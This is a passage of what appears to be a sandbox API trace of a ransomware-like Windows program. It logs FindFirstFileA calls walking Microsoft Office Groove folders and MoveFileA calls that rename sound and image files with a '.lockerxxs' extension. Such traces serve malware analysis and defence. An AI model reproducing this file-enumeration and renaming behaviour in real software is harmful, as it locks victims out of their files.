lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.745] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.764] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.767] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.769] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8280 [0063.774] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0063.777] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0063.780] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0063.783] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0063.784] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0063.790] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.792] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8268 [0063.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav.lockerxxs")) returned 1 [0063.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav.lockerxxs")) returned 1 [0063.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav.lockerxxs")) returned 1 [0063.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav.lockerxxs")) returned 1 [0063.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav.lockerxxs")) returned 1 [0063.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav.lockerxxs")) returned 1 [0063.827] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav.lockerxxs")) returned 1 [0063.828] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName=".", cAlternateFileName="")) returned 0x4f8268 [0063.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav.lockerxxs")) returned 1 [0063.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav.lockerxxs")) returned 1 [0063.849] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav.lockerxxs")) returned 1 [0063.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav.lockerxxs")) returned 1 [0063.860] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav.lockerxxs")) returned 1 [0063.869] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav.lockerxxs")) returned 1 [0063.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav.lockerxxs")) returned 1 [0063.875] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName=".", cAlternateFileName="")) returned 0x4f8268 [0063.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav.lockerxxs")) returned 1 [0063.891] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav.lockerxxs")) returned 1 [0063.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav.lockerxxs")) returned 1 [0063.927] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav.lockerxxs")) returned 1 [0063.932] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav.lockerxxs")) returned 1 [0063.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav.lockerxxs")) returned 1 [0063.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav.lockerxxs")) returned 1 [0063.955] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f82a8, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.968] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.lockerxxs")) returned 1 [0063.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.lockerxxs")) returned 1 [0063.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.lockerxxs")) returned 1 [0063.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.lockerxxs")) returned 1 [0063.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.lockerxxs")) returned 1 [0063.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.lockerxxs")) returned 1 [0063.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg.lockerxxs")) returned 1 [0064.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.lockerxxs")) returned 1 [0064.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.lockerxxs")) returned 1 [0064.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.lockerxxs")) returned 1 [0064.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.lockerxxs")) returned 1 [0064.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.lockerxxs")) returned 1 [0064.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.lockerxxs")) returned 1 [0064.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.lockerxxs")) returned 1 [0064.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.lockerxxs")) returned 1 [0064.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.lockerxxs")) returned 1 [0064.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.lockerxxs")) returned 1 [0064.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.lockerxxs")) returned 1 [0064.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.lockerxxs")) returned 1 [0064.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 